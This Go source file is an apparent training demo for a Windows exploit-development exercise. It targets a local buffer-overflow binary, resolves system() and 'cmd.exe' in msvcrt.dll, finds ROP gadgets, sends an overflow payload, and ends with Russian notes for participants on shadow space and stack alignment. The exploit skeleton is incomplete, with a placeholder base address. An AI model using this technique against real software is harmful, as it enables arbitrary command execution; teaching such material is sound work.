Files
go_pwner/workspace/demos/leak_msvcrt/main.go
T
2026-07-18 21:37:15 +03:00

86 lines
3.2 KiB
Go

package main
import (
"bytes"
"fmt"
"log"
"winpwn"
)
func main() {
pe, err := winpwn.OpenPE("./bof_win.c.exe")
if err == nil {
defer pe.Close()
}
msvcrt, err := winpwn.OpenPE("C:\\Windows\\System32\\msvcrt.dll")
if err != nil {
log.Fatalf("Failed to open DLL: %v", err)
}
defer msvcrt.Close()
// 2. Ищем функцию system (аналог libc.symbols['system'])
systemRVA, err := msvcrt.GetProcAddress("system")
if err != nil {
log.Fatalf("system() not found")
}
log.Printf("[+] system() RVA: 0x%X", systemRVA)
// 3. Ищем строку "cmd.exe\x00" (аналог next(libc.search(b'cmd.exe\x00')))
cmdPattern := []byte("cmd.exe\x00")
cmdRVAs, err := msvcrt.SearchBytes(cmdPattern)
if err != nil {
log.Fatalf("String 'cmd.exe' not found")
}
log.Printf("[+] 'cmd.exe' RVA: 0x%X", cmdRVAs[0])
// ... Логика утечки (leak) базового адреса msvcrt.dll во время исполнения ...
var msvcrtBase uint64 = 0x7FF00000000 // Пример полученного адреса
// 4. Вычисляем абсолютные адреса для ROP-цепочки
systemAddr := msvcrtBase + systemRVA
cmdStringAddr := msvcrtBase + cmdRVAs[0]
log.Printf("[+] system() absolute address: 0x%X", systemAddr)
log.Printf("[+] 'cmd.exe' absolute address: 0x%X", cmdStringAddr)
//------------------------------------
rop, err := winpwn.NewROP("bof_win.c.exe") // native scanner, no rp++ needed
if err != nil {
log.Fatalf("rop init error : %v", err)
}
defer rop.Close()
popRcx, err := rop.Search("pop rcx ; ret")
if err != nil {
log.Fatalf("Gadget not found")
}
// Выводим первый найденный гаджет
fmt.Printf("[+] Found 'pop rcx; ret' at: 0x%X\n", popRcx[0].Address)
// Интеграция в пейлоад
// payload = append(payload, winpwn.P64(popRcx[0].Address)...)
payload := bytes.Repeat([]byte("a"), 128)
p, err := winpwn.Spawn("bof_win.c.exe")
if err != nil {
log.Fatalf("Spawn: %v", err)
}
if err := p.SendLineAfter([]byte("enter your data: \n"), payload); err != nil {
log.Fatalf("SendLineAfter: %v", err)
}
p.Interactive()
}
/*На что обратить внимание твоим участникам:
Shadow Space (Теневое пространство): В отличие от Linux, в Windows вызывающая функция обязана выделить 32 байта (4 слота по 8 байт) на стеке перед вызовом любой другой функции. Поскольку мы прыгаем прямо в пролог функции win(), она сама выделит себе место. Но если строить сложный ROP (вызов system напрямую через ROP), перед адресом system пришлось бы класть 32 байта мусора.
Stack Alignment: WinAPI (через которые работает system в недрах msvcrt.dll) используют инструкции movaps, которые крашатся (выдают Access Violation), если стек не выровнен на 16 байт. Именно для этого в цепочку часто вклинивают один пустой ret. */